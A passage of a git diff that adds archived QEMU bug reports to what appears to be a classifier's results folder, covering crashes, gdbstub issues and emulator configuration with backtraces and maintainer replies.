19:22, Eduardo Habkost wrote: +> > If it was possible, did KVM break live migration of +> > kernel-irqchip=off guests that enabled APF? This would mean my +> > patch is replacing a crash with a silent migration bug. Not nice +> > either way. +> +> Let's drop kernel-irqchip=off completely so migration is not broken. :) +> +> I'm actually serious, I don't think we need a deprecation period even. + +I wasn't sure about this, but then I've noticed the man page says +"disabling the in-kernel irqchip completely is not recommended +except for debugging purposes." + +Does this note apply to all architectures? + +-- +Eduardo + + + +We don't need to use kernel-irqchip=off for irq0 override if IRQ +routing is supported by the host, which is the case since 2009 +(IRQ routing was added to KVM in Linux v2.6.30). + +This is a more straightforward fix for Launchpad bug #1896263, as +it doesn't require increasing the complexity of the MSR code. +kernel-irqchip=off is for debugging only and there's no need to +increase the complexity of the code just to work around an issue +that was already fixed in the kernel. + +Fixes: https://bugs.launchpad.net/bugs/1896263 +Signed-off-by: Eduardo Habkost <email address hidden> +--- + tests/qtest/bios-tables-test.c | 3 +-- + 1 file changed, 1 insertion(+), 2 deletions(-) + +diff --git a/tests/qtest/bios-tables-test.c b/tests/qtest/bios-tables-test.c +index a9c8d478aee..27e8f0a1cb7 100644 +--- a/tests/qtest/bios-tables-test.c ++++ b/tests/qtest/bios-tables-test.c +@@ -663,8 +663,7 @@ static void test_acpi_one(const char *params, test_data *data) + data->uefi_fl1, data->uefi_fl2, data->cd, params ? params : ""); + + } else { +- /* Disable kernel irqchip to be able to override apic irq0. */ +- args = g_strdup_printf("-machine %s,kernel-irqchip=off %s -accel tcg " ++ args = g_strdup_printf("-machine %s %s -accel tcg " + "-net none -display none %s " + "-drive id=hd0,if=none,file=%s,format=raw " + "-device %s,drive=hd0 ", +-- +2.26.2 + + + +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=d1e2d46467b95b03279 + +Released with QEMU v5.2.0. + diff --git a/results/classifier/deepseek-1/output/crash./1909770 b/results/classifier/deepseek-1/output/crash./1909770 new file mode 100644 index 00000000..afbd2355 --- /dev/null +++ b/results/classifier/deepseek-1/output/crash./1909770 @@ -0,0 +1,243 @@ + +qemu-cris segfaults upon loading userspace binary + +I am on commit 65a3c5984074313602fb5f61cc5f464abfb020c7 (latest as far as I know). I compiled qemu with --enable-debug. + +I'm trying to run a userspace CRIS binary (`./qemu-cris -cpu crisv10 ./basic`), but this segfaults. When opening the coredump in gdb, I get + +gdb-peda$ bt +#0 0x00007f272a2e1ee1 in __memset_avx2_erms () from /usr/lib/libc.so.6 +#1 0x0000564a2f7bcda7 in zero_bss (elf_bss=0x82134, last_bss=0x84000, + prot=0x3) at ../linux-user/elfload.c:1865 +#2 0x0000564a2f7bff65 in load_elf_image ( + image_name=0x7fffe9f5703d "./basic", image_fd=0x3, + info=0x7fffe9f547c0, pinterp_name=0x7fffe9f545b0, + bprm_buf=0x7fffe9f54920 "\177ELF\001\001\001") + at ../linux-user/elfload.c:2801 +#3 0x0000564a2f7c0a12 in load_elf_binary (bprm=0x7fffe9f54920, + info=0x7fffe9f547c0) at ../linux-user/elfload.c:3104 +#4 0x0000564a2f81f290 in loader_exec (fdexec=0x3, + filename=0x7fffe9f5703d "./basic", argv=0x564a2f9f3cc0, + envp=0x564a2fa12600, regs=0x7fffe9f54860, infop=0x7fffe9f547c0, + bprm=0x7fffe9f54920) at ../linux-user/linuxload.c:147 +#5 0x0000564a2f7c4f9f in main (argc=0x4, argv=0x7fffe9f54e78, + envp=0x7fffe9f54ea0) at ../linux-user/main.c:808 +#6 0x00007f272a1a4152 in __libc_start_main () from /usr/lib/libc.so.6 +#7 0x0000564a2f786cee in _start () + +Or as a full backtrace: +gdb-peda$ bt full +#0 0x00007f272a2e1ee1 in __memset_avx2_erms () from /usr/lib/libc.so.6 +No symbol table info available. +#1 0x0000564a2f7bcda7 in zero_bss (elf_bss=0x82134, last_bss=0x84000, + prot=0x3) at ../linux-user/elfload.c:1865 + host_start = 0x92134 + host_map_start = 0x93000 + host_end = 0x94000 +#2 0x0000564a2f7bff65 in load_elf_image ( + image_name=0x7fffe9f5703d "./basic", image_fd=0x3, + info=0x7fffe9f547c0, pinterp_name=0x7fffe9f545b0, + bprm_buf=0x7fffe9f54920 "\177ELF\001\001\001") + at ../linux-user/elfload.c:2801 + vaddr = 0x82134 + vaddr_em = 0x82140 + vaddr_len = 0x2000 + vaddr_po = 0x134 + vaddr_ps = 0x82000 + vaddr_ef = 0x82134 + elf_prot = 0x3 + eppnt = 0x7fffe9f54974 + ehdr = 0x7fffe9f54920 + phdr = 0x7fffe9f54954 + load_addr = 0x80000 + load_bias = 0x0 + loaddr = 0x80000 + hiaddr = 0x1082140 + error = 0x80000 + i = 0x1 + retval = 0x273d2e9c + prot_exec = 0x4 + err = 0x0 + __func__ = "load_elf_image" +#3 0x0000564a2f7c0a12 in load_elf_binary (bprm=0x7fffe9f54920, + info=0x7fffe9f547c0) at ../linux-user/elfload.c:3104 + interp_info = { + load_bias = 0x0, + load_addr = 0x0, + start_code = 0x0, + end_code = 0x0, + start_data = 0x0, + end_data = 0x0, + start_brk = 0x0, + brk = 0x0, + reserve_brk = 0x0, + start_mmap = 0x0, + start_stack = 0x0, + stack_limit = 0x0, + entry = 0x0, + code_offset = 0x0, + data_offset = 0x0, + saved_auxv = 0x0, + auxv_len = 0x0, + arg_start = 0x0, + arg_end = 0x0, + arg_strings = 0x0, + env_strings = 0x0, + file_string = 0x0, + elf_flags = 0x0, + personality = 0x0, + alignment = 0x0, + loadmap_addr = 0x0, + nsegs = 0x0, + loadsegs = 0x0, + pt_dynamic_addr = 0x0, + interpreter_loadmap_addr = 0x0, + interpreter_pt_dynamic_addr = 0x0, + other_info = 0x0, + note_flags = 0x0 + } + elf_ex = { + e_ident = "|\214\t1\000\000\000\000\262\002\356_\000\000\000", + e_type = 0x8c7c, + e_machine = 0x3109, + e_version = 0x0, + e_entry = 0x5fee02b2, + e_phoff = 0x0, + e_shoff = 0x31098c7c, + e_flags = 0x0, + e_ehsize = 0x0, + e_phentsize = 0x0, + e_phnum = 0x0, + e_shentsize = 0x0, + e_shnum = 0x0, + e_shstrndx = 0x0 + } + elf_interpreter = 0x0 + scratch = 0x7f272a358021 <read+97> "H\213D$\bH\203\304(\303\017\037D" +#4 0x0000564a2f81f290 in loader_exec (fdexec=0x3, + filename=0x7fffe9f5703d "./basic", argv=0x564a2f9f3cc0, + envp=0x564a2fa12600, regs=0x7fffe9f54860, infop=0x7fffe9f547c0, + bprm=0x7fffe9f54920) at ../linux-user/linuxload.c:147 + retval = 0x400 +#5 0x0000564a2f7c4f9f in main (argc=0x4, argv=0x7fffe9f54e78, + envp=0x7fffe9f54ea0) at ../linux-user/main.c:808 + regs1 = { + orig_r10 = 0x0, + r0 = 0x0, + r1 = 0x0, + r2 = 0x0, + r3 = 0x0, + r4 = 0x0, + r5 = 0x0, + r6 = 0x0, + r7 = 0x0, + r8 = 0x0, + r9 = 0x0, + r10 = 0x0, + r11 = 0x0, + r12 = 0x0, + r13 = 0x0, + acr = 0x0, + srs = 0x0, + mof = 0x0, + spc = 0x0, + ccs = 0x0, + srp = 0x0, + erp = 0x0, + exs = 0x0, + eda = 0x0 + } + regs = 0x7fffe9f54860 + info1 = { + load_bias = 0x0, + load_addr = 0x80000, + start_code = 0x80000, + end_code = 0x80133, + start_data = 0xffffffff, + end_data = 0x0, + start_brk = 0x0, + brk = 0x80133, + reserve_brk = 0x1000000, + start_mmap = 0x80000000, + start_stack = 0x0, + stack_limit = 0x0, + entry = 0x80106, + code_offset = 0x0, + data_offset = 0x0, + saved_auxv = 0x0, + auxv_len = 0x0, + arg_start = 0x0, + arg_end = 0x0, + arg_strings = 0x0, + env_strings = 0x0, + file_string = 0x0, + elf_flags = 0x0, + personality = 0x0, + alignment = 0x2000, + loadmap_addr = 0x0, + nsegs = 0x2, + loadsegs = 0x0, + pt_dynamic_addr = 0x0, + interpreter_loadmap_addr = 0x0, + interpreter_pt_dynamic_addr = 0x0, + other_info = 0x0, + note_flags = 0x0 + } + info = 0x7fffe9f547c0 + bprm = { + buf = "\177ELF\001\001\001\000\000\000\000\000\000\000\000\000\002\000L\000\001\000\000\000\006\001\b\000\064\000\000\000\264\006\000\000\000\000\000\000\064\000 \000\003\000(\000\016\000\r\000\001\000\000\000\000\000\000\000\000\000\b\000\000\000\b\000\063\001\000\000\063\001\000\000\005\000\000\000\000 \000\000\001\000\000\000\064\001\000\000\064!\b\000\064!\b\000\000\000\000\000\f\000\000\000\006\000\000\000\000 \000\000\004\000\000\000\224\000\000\000\224\000\b\000\224\000\b\000$\000\000\000$\000\000\000\004\000\000\000\004\000\000\000\004\000\000\000\024\000\000\000\003\000\000\000GNU\000PH\017'i\204\231\070e\000\247\376\211\230\236\336Nf7\372\204\342\356\213n\206\214\342\374\201\352\253\370\201\353\273"..., + p = 0x0, + fd = 0x3, + e_uid = 0x3e8, + e_gid = 0x3d9, + argc = 0x1, + envc = 0x43, + argv = 0x564a2f9f3cc0, + envp = 0x564a2fa12600, + filename = 0x7fffe9f5703d "./basic", + core_dump = 0x0 + } + ts = 0x564a2fa25400 + env = 0x564a2fa24a08 + cpu = 0x564a2fa1c730 + optind = 0x3 + target_environ = 0x564a2fa12600 + wrk = 0x7fffe9f550b8 + target_argv = 0x564a2f9f3cc0 + target_argc = 0x1 + i = 0x1 + ret = 0x7fff + execfd = 0x3 + log_mask = 0x0 + max_reserved_va = 0xffffe000 +#6 0x00007f272a1a4152 in __libc_start_main () from /usr/lib/libc.so.6 +No symbol table info available. +#7 0x0000564a2f786cee in _start () +No symbol table info available. + + +The binary itself is just a basic binary that prints "hello\n" to stdout. I have attached it. + + + +Sounds like it's probably the bug where we don't correctly handle ELF BSS segments which have no content in the file at all (ie they're just "zero this memory" with no content). If so, this patch (currently in review) will fix it: +https://<email address hidden>/ +and you could also work around it by making sure your guest binary has some r/w data so it doesn't have a segment that's purely BSS. + + +That did indeed fix it, thank you! + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/123 + + +ON7WPI: Is QEMU version 6.0 now working fine for you? + +Yes, this is working for me now. The binary still crashes, but I think that's a problem in my code instead of QEMU. + +Ok, thanks for the confirmation! + diff --git a/results/classifier/deepseek-1/output/crashing./1837049 b/results/classifier/deepseek-1/output/crashing./1837049 new file mode 100644 index 00000000..0087e8f9 --- /dev/null +++ b/results/classifier/deepseek-1/output/crashing./1837049 @@ -0,0 +1,185 @@ + +qemu-system-ppc segfaults with -display sdl + +Hello. + +I was trying to debug this segfault: +https://lists.nongnu.org/archive/html/qemu-ppc/2019-07/msg00186.html + +I recompiled latest qemu from git (commit 0b18cfb8f1828c905139b54c8644b0d8f4aad879 ), using this configure line: +./configure --target-list=i386-softmmu,x86_64-softmmu,ppc-softmmu --audio-drv-list=alsa --disable-werror --extra-cflags="-Og" --enable-debug-tcg + +after this I tried original line under gdb, it was still segfaulting: + +--------------copy----------------- +gdb ./ppc-softmmu/qemu-system-ppc +GNU gdb (GDB) 7.11.1 +Copyright (C) 2016 Free Software Foundation, Inc. +License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> +This is free software: you are free to change and redistribute it. +There is NO WARRANTY, to the extent permitted by law. Type "show copying" +and "show warranty" for details. +This GDB was configured as "i586-slackware-linux". +Type "show configuration" for configuration details. +For bug reporting instructions, please see: +<http://www.gnu.org/software/gdb/bugs/>. +Find the GDB manual and other documentation resources online at: +<http://www.gnu.org/software/gdb/documentation/>. +For help, type "help". +Type "apropos word" to search for commands related to "word"... +Reading symbols from ./ppc-softmmu/qemu-system-ppc...done. +warning: File "/dev/shm/qemu/.gdbinit" auto-loading has been declined by your `auto-load safe-path' set to "$debugdir:$datadir/auto-load". +To enable execution of this file add + add-auto-load-safe-path /dev/shm/qemu/.gdbinit +line to your configuration file "/home/guest/.gdbinit". +To completely disable this security protection add + set auto-load safe-path / +line to your configuration file "/home/guest/.gdbinit". +For more information about this security protection see the +"Auto-loading safe path" section in the GDB manual. E.g., run from the shell: + info "(gdb)Auto-loading safe path" +(gdb) run -M mac99,via=pmu -L ../queue-vga/pc-bios -cdrom /mnt/sdb1/PPC-img/lubuntu-16.04-desktop-powerpc.iso -m 512 -display sdl,gl=on -vga std -d guest_errors,unimp -boot d -cpu G4 -g 1024x768x24 -device ES1370 +Starting program: /dev/shm/qemu/ppc-softmmu/qemu-system-ppc -M mac99,via=pmu -L ../queue-vga/pc-bios -cdrom /mnt/sdb1/PPC-img/lubuntu-16.04-desktop-powerpc.iso -m 512 -display sdl,gl=on -vga std -d guest_errors,unimp -boot d -cpu G4 -g 1024x768x24 -device ES1370 +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/lib/libthread_db.so.1". +[New Thread 0xf560cb40 (LWP 8100)] +[New Thread 0xf4c1ab40 (LWP 8101)] +[New Thread 0xec1b7b40 (LWP 8102)] +[New Thread 0xc5821b40 (LWP 8104)] +[Thread 0xf4c1ab40 (LWP 8101) exited] +[New Thread 0xf4c1ab40 (LWP 8119)] + +Thread 4 "qemu-system-ppc" received signal SIGSEGV, Segmentation fault. +[Switching to Thread 0xec1b7b40 (LWP 8102)] +0xf26c2e44 in code_gen_buffer () +(gdb) bt full +#0 0xffffffff in code_gen_buffer () +#1 0x56710cf6 in cpu_exec (itb=<optimized out>, cpu=<optimized out>) at /dev/shm/qemu/accel/tcg/cpu-exec.c:173 + env = <optimized out> + ret = <optimized out> + last_tb = <optimized out> + tb_exit = <optimized out> + tb_ptr = 0xf26c2cc0 <code_gen_buffer+103976094> "‹]ш…Ы\017ЊБ\020" + ret = 0 + insns_left = <optimized out> + cflags = <optimized out> + tb = 0x5722fe58 + last_tb = <optimized out> + tb_exit = <optimized out> + cc = <optimized out> + __func__ = "cpu_exec" + ret = <optimized out> + sc = <optimized out> +#2 0x56710cf6 in cpu_exec (tb_exit=<synthetic pointer>, last_tb=<synthetic pointer>, tb=<optimized out>, cpu=<optimized out>) at /dev/shm/qemu/accel/tcg/cpu-exec.c:621 + ret = 0 + insns_left = <optimized out> + cflags = <optimized out> + tb = 0x5722fe58 + last_tb = <optimized out> + tb_exit = <optimized out> + cc = <optimized out> + __func__ = "cpu_exec" + ret = <optimized out> + sc = <optimized out> +#3 0x56710cf6 in cpu_exec (cpu=0x573db8f8) at /dev/shm/qemu/accel/tcg/cpu-exec.c:732 + cflags = <optimized out> + tb = 0x5722fe58 + last_tb = <optimized out> + tb_exit = <optimized out> + cc = <optimized out> + __func__ = "cpu_exec" + ret = <optimized out> + sc = <optimized out> +#4 0x566cfade in tcg_cpu_exec (cpu=0x573db8f8) at /dev/shm/qemu/cpus.c:1435 + ret = <optimized out> +#5 0x566d1e6d in qemu_tcg_rr_cpu_thread_fn (arg=0x573db8f8) at /dev/shm/qemu/cpus.c:1537 + r = <optimized out> + cpu = 0x573db8f8 + __PRETTY_FUNCTION__ = "qemu_tcg_rr_cpu_thread_fn" +#6 0x56b56fe0 in qemu_thread_start (args=0x57400668) at util/qemu-thread-posix.c:502 + __cancel_buf = {__cancel_jmp_buf = {{__cancel_jmp_buf = {1461911128, 1463813736, 1461911128, -333745816, 247778263, 1392237730}, __mask_was_saved = 0}}, __pad = {0xec1b70d0, 0x0, 0x0, 0x0}} + __cancel_routine = 0x56b57040 <qemu_thread_atexit_notify> + __not_first_call = <optimized out> + qemu_thread_args = 0x57400668 + start_routine = 0x566d1a30 <qemu_tcg_rr_cpu_thread_fn> + arg = 0x573db8f8 + r = <optimized out> +#7 0xffffffff in start_thread () at /lib/libpthread.so.0 +#8 0xffffffff in clone () at /lib/libc.so.6 +(gdb) quit +A debugging session is active. + + Inferior 1 [process 8096] will be killed. + +Quit anyway? (y or n) y +--------------copy end---------- + +But when I take away -display sdl, or replace it with -display gtk - same line was booting to desktop! + +Changing cpu to G3 also allowed boot: + +./ppc-softmmu/qemu-system-ppc -M mac99,via=pmu -L ../queue-vga/pc-bios -cdrom /mnt/sdb1/PPC-img/lubuntu-16.04-desktop-powerpc.iso -m 512 -display sdl -vga std -d guest_errors,unimp -boot d -cpu G3 -g 1024x768x24 -device ES1370 + +This is 32-bit qemu complied with Slackware's gcc 5.5.0. +64-bit qemu works fine. + +Works for me with a 32-bit install of fedora 30. +That's using gcc 9.1.1. + +Is building with -Og required to reproduce this? +If so, I'm thinking compiler bug... + +Hello, Richard! +No, same bug was biting me without any specific options, i tried to add -Og for better debugging, but backtrace was anyway not complete ... I think I can live with -display gtk workaround for now. + +I think this one is fixed, I can boot Lubuntu to desktop like this: + +qemu-system-ppc -cdrom /dev/shm/lubuntu-16.04-desktop-powerpc.iso -boot d -display sdl,gl=on -g 1024x768x32 -M mac99,via=pmu -cpu G4 -device ES1370 -m 2047 -accel tcg,tb-size=384 -device usb-mouse + +without any crash, tried few times. + +Note, tb-size seems to be important on 32-bit host now, near qemu 5.0. + +qemu-system-ppc --version +QEMU emulator version 4.2.91 (v5.0.0-rc1-dirty) +Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers + +-dirty probably because I reinstalled SDL2 (2.0.9- > 2.0.12 during compilation of qemu). I also have different glibc this time (2.30 instead of 2.23) + + + +Andrew Randrianasulu <email address hidden> writes: + +> I think this one is fixed, I can boot Lubuntu to desktop like this: +> +> qemu-system-ppc -cdrom /dev/shm/lubuntu-16.04-desktop-powerpc.iso -boot +> d -display sdl,gl=on -g 1024x768x32 -M mac99,via=pmu -cpu G4 -device +> ES1370 -m 2047 -accel tcg,tb-size=384 -device usb-mouse +> +> without any crash, tried few times. +> +> Note, tb-size seems to be important on 32-bit host now, near qemu 5.0. + +There were changes this cycle to remove the TB size heuristic based on +guest RAM size. System emulation of 64 bit hosts gets a generous 1gb per +system by default where-as 32 bit hosts make do with a smaller code +buffer (which is statically allocated for user-mode). + +See the commits around 600e17b2615 (pull-tcg-20200228) + +> +> qemu-system-ppc --version +> QEMU emulator version 4.2.91 (v5.0.0-rc1-dirty) +> Copyright (c) 2003-2020 Fabrice Bellard and the QEMU Project developers +> +> -dirty probably because I reinstalled SDL2 (2.0.9- > 2.0.12 during +> compilation of qemu). I also have different glibc this time (2.30 +> instead of 2.23) + + +-- +Alex Bennée + + +Closing according to comment #3 + diff --git a/results/classifier/deepseek-1/output/debug/1031920 b/results/classifier/deepseek-1/output/debug/1031920 new file mode 100644 index 00000000..2d6355f6 --- /dev/null +++ b/results/classifier/deepseek-1/output/debug/1031920 @@ -0,0 +1,68 @@ + +Linux user gdbserver does not respond to remote `Ctrl-C' interrupts + +The bug was reproduce in a recent mainline build for ARM Linux by starting emulation with a gdbserver: + +$ qemu-arm -g 1234 a.out + +and then connecting from gdb: + +(gdb) target remote :1234 +Remote debugging using :1234 +[New Remote target] +[Switching to Remote target] +0x00008ba8 in _start () +(gdb) b main +Breakpoint 1 at 0x8cb0: file hello.c, line 5. +(gdb) cont +Continuing. + +Breakpoint 1, main (argc=1, argv=0xf6fff24c) at hello.c:5 +5 int n = 0; +(gdb) l +1 #include <stdio.h> +2 +3 int main (int argc, char **argv) +4 { +5 int n = 0; +6 +7 for (;;) { +8 printf ("Hello, World!\n"); +9 sleep (5); +10 } +(gdb) cont +Continuing. +^C^CInterrupted while waiting for the program. +Give up (and stop debugging it)? (y or n) y + +Notice that the `Ctrl-C' interrupts are ignored. + +I have encountered that issue recently, and started some analysis. + +The issue is due to the fact that in qemu, gdbstub no longer reads the communication channel once +the debugged process is resumed with "cont". +Another way to say that, is that communication with gdb is only possible once the process thread execution +is re-routed in the gdb handler. + +I am working on a fix. + +The fix will consist in having an additional thread, launched that the internal gdbserver startup, +that will be wakeup when the debugged process is resumed. +That thread will be waiting on the communication channel for the eventually incoming CTRL-C request (0x3) +I start to have promising results but it still needs some testing. + +Meanwhile, (this should likely be a separate discussion thread, but is somehow related with the named issue above) , +I also noticed that with multithreaded +processes, a breakpoint does not suspend all the threads when it is hit. +This is a little bit annoying, and does not match the expected behaviour that is typically seen on a pure native gdb debugging +session. + +Once it is ready I will post a patch to qemu mailing list + +Best regards +Thierry + +Has the fix mentioned in comment #1 been included in the QEMU repository? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/debug/1528718 b/results/classifier/deepseek-1/output/debug/1528718 new file mode 100644 index 00000000..50631d8e --- /dev/null +++ b/results/classifier/deepseek-1/output/debug/1528718 @@ -0,0 +1,42 @@ + +Initial monitor does not output anything on Windows (MSYS2 binary) + +When running on Windows error messages before the UI is started are not showing up. + +For example when I run: + +qemu-system-i386.exe -L /mingw32/etc/qemu/ -m 20G + +It should display "ram size too large", according to gdb: + +Breakpoint 1, error_report (fmt=fmt@entry=0x71bdf6 <dma_aiocb_info+2426> "ram size too large") at C:/build/mingw/mingw-w64-qemu/src/qemu-2.4.0/util/qemu-error.c:233 + +However the console does never receive that. + +As far as I could find out vfprintf is called, but it doesn't output anything. + +This affects both binary editions (for instance "qemu-system-i386.exe" AND "qemu-system-i386w.exe") + +dumpbin /all "C:\Program Files\qemu\qemu-system-i386.exe"|more +Dump of file C:\Program Files\qemu\qemu-system-i386.exe +PE signature found +File Type: EXECUTABLE IMAGE +FILE HEADER VALUES +8664 machine (x64) + +This affects both binary editions (for instance "qemu-system-i386.exe" AND "qemu-system-i386w.exe") + +dumpbin /all "C:\Program Files\qemu\qemu-system-i386.exe"|more +Dump of file C:\Program Files\qemu\qemu-system-i386.exe +PE signature found +File Type: EXECUTABLE IMAGE +4.00 operating system version +5.02 subsystem version: Win32 + + + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + + +I just retested, it is fixed in the latest version on MSYS2. + diff --git a/results/classifier/deepseek-1/output/debug/1828723 b/results/classifier/deepseek-1/output/debug/1828723 new file mode 100644 index 00000000..100416ba --- /dev/null +++ b/results/classifier/deepseek-1/output/debug/1828723 @@ -0,0 +1,33 @@ + +[RFE] option to suppress gemu_log() output + +With user mode emulation, messages from genu_log() are emitted unconditionally to stderr. I didn't find a way to suppress them. It would be nice to have options similar to the -D/-d options to be able to filter and/or redirect the output. + +My use case is chroot/container execution for different architectures via binfmt. In this case it will appear as if the binary in question had emitted messages like "Unsupported setsockopt ..." to stderr while in fact the message came from qemu-*-static. + +This series might be helpful: +https://lists.gnu.org/archive/html/qemu-devel/2018-10/msg02067.html + +The -d/-D options should work in linux-user as well. You can also set QEMU_LOG_FILENAME and QEMU_LOG environment variables. Do these not work for you? + + +Although arguably the line: + + gemu_log("Unsupported setsockopt level=%d optname=%d\n", level, optname); + +Could be + + qemu_log_mask(LOG_UNIMP,....) + +Not sure where gemu_log is used, it seems to be strace related. + +Indeed I think gemu_log() is the problem here. + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/171 + + diff --git a/results/classifier/deepseek-1/output/debug/1877136 b/results/classifier/deepseek-1/output/debug/1877136 new file mode 100644 index 00000000..6663eab8 --- /dev/null +++ b/results/classifier/deepseek-1/output/debug/1877136 @@ -0,0 +1,65 @@ + +Qemu GDB Arm core registers XML description not valid for M-profile + +When trying to debug an armv7-m binary running on Qemu, GDB makes some mistakes due to mistakenly believing the target is not M-profile. + +One observable is that backtraces over signal handlers are not handled correctly -- since the special M-profile EXC_RETURN value is not recognised. That happens because GDB doesn't think the target is M-profile. + +This happens because GDB sees a reported feature set from the Qemu remote connection that includes the feature `org.gnu.gdb.arm.core`. + +As described in the GDB online docs, for "M-profile targets (e.g. Cortex-M3), the ‘org.gnu.gdb.arm.core’ feature is replaced by ‘org.gnu.gdb.arm.m-profile’" +https://sourceware.org/gdb/current/onlinedocs/gdb/ARM-Features.html + +From a scan of the Qemu source code on commit ea1329bb3a8d5cd25b70e3dbf73e7ded4d5ad756 it seems that when emulating an arm core it uses `arm-core.xml` unconditionally for `CPUClass->gdb_core_xml_file`, and that means the only feature provided is `org.gnu.gdb.arm.core`. + +Note that even though there is a command to set the architecture in GDB, setting the target architecture to an M-profile core is still not a valid workaround. +This is because the target description overrides everything in setting the `is_m` attribute within GDB. + +Reproduction of the observable: +Using the examples here https://git.linaro.org/people/peter.maydell/m-profile-tests.git/tree/ . +Build the examples, and run +``` +qemu-system-arm -s -S -no-reboot -M lm3s6965evb -m 16 -serial stdio -display none -net nic -net user,restrict=on -d guest_errors,unimp -kernel test3-kern.bin +``` + +Then in a GDB session +``` +vshcmd: > arm-none-eabi-gdb -q +(gdb) +vshcmd: > file test3-kern.elf +Reading symbols from test3-kern.elf... +(gdb) +vshcmd: > target remote localhost:1234 +Remote debugging using localhost:1234 +_start () at init-m.S:53 +53 mov r0, #0 +(gdb) +vshcmd: > show architecture +The target architecture is set automatically (currently armv7) +(gdb) +vshcmd: > break svc +Breakpoint 1 at 0x6fc: svc. (2 locations) +(gdb) +vshcmd: > cont +Continuing. + +Breakpoint 1, svc () at test3.c:16 +16 int test = SEQ(); +(gdb) +vshcmd: > bt +#0 svc () at test3.c:16 +#1 0xfffffff8 in ?? () +Backtrace stopped: previous frame identical to this frame (corrupt stack?) +(gdb) +vshcmd: > print/x $lr +$1 = 0xfffffff9 +(gdb) +``` + +Patch submitted: https://<email address hidden>/ + + +Fix now in master, will be in QEMU 5.1. + +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=c888f7e0fdcc09c8600 + diff --git a/results/classifier/deepseek-1/output/debug/1907210 b/results/classifier/deepseek-1/output/debug/1907210 new file mode 100644 index 00000000..1790df55 --- /dev/null +++ b/results/classifier/deepseek-1/output/debug/1907210 @@ -0,0 +1,54 @@ + +QEMU gdbstub command "?" issue + +I am using some third party GDB client, and I have noticed that every time "?" command is send from the client, QEMU gdbstub removes all break points. This behaviour is not expected since "?" command should only return stop reason. +Here is documentation from official gdb: +‘?’ Indicate the reason the target halted. The reply is the same as for step and +continue. This packet has a special interpretation when the target is in non-stop +mode; see Section E.10 [Remote Non-Stop], page 733. +Reply: See Section E.3 [Stop Reply Packets], page 693, for the reply specifications. + +With some help on the irc, we have been able to pin point the failure point(in attachement file gdbstub.c). +Function that handles "?" command has this comment in it: + /* + * Remove all the breakpoints when this query is issued, + * because gdb is doing an initial connect and the state + * should be cleaned up. + */ +From which it is clear that developer that wrote that code assumed, that because most popular gdb client only uses "?" command at initial connect, it is safe to also remove all BPs. +In my opinion initial connect should be detected in some other way, and not with "?" command. + + + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/debug/1917661 b/results/classifier/deepseek-1/output/debug/1917661 new file mode 100644 index 00000000..0e8f6502 --- /dev/null +++ b/results/classifier/deepseek-1/output/debug/1917661 @@ -0,0 +1,55 @@ + +qemu gdb wrong registers group for riscv64 + +Step to reproduce: +1. run qemu-system-riscv64 in gdb mode +2. attach gdb +3. set a breakpoint and run +4. print register-groups using "maintenance print register-groups" command + +... + sbadaddr 4162 4162 1628 8 long all,general + msounteren 4163 4163 1636 8 long all,general + mbadaddr 4164 4164 1644 8 long all,general + htimedeltah 4165 4165 1652 8 long all,general + +These registers don't belong to general group, instead they belong to all, system and csr groups. + +I forgot to specify the version, I built qemu sha c40ae5a3ee387b13116948cbfe7824f03311db7e + +$ qemu-system-riscv64 --version +QEMU emulator version 5.2.50 (v5.2.0-2392-gc40ae5a3ee-dirty) + + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/details./1862415 b/results/classifier/deepseek-1/output/details./1862415 new file mode 100644 index 00000000..bd2647f9 --- /dev/null +++ b/results/classifier/deepseek-1/output/details./1862415 @@ -0,0 +1,101 @@ + +-nic user cannot receive TFTP response from outside on windows 10 host + +Configuration: +qemu is on a windows 10 host, address 192.168.1.24 +A tftp server, which is atftpd, is at address 192.168.1.31 +a guest is started by: +``` +.\qemu-system-x86_64.exe -accel hax \ +-nic user,id=n1,tftp-server-name=192.168.1.31,bootfile=tftp://192.168.1.31/grub/i386-pc/core.0 \ +-object 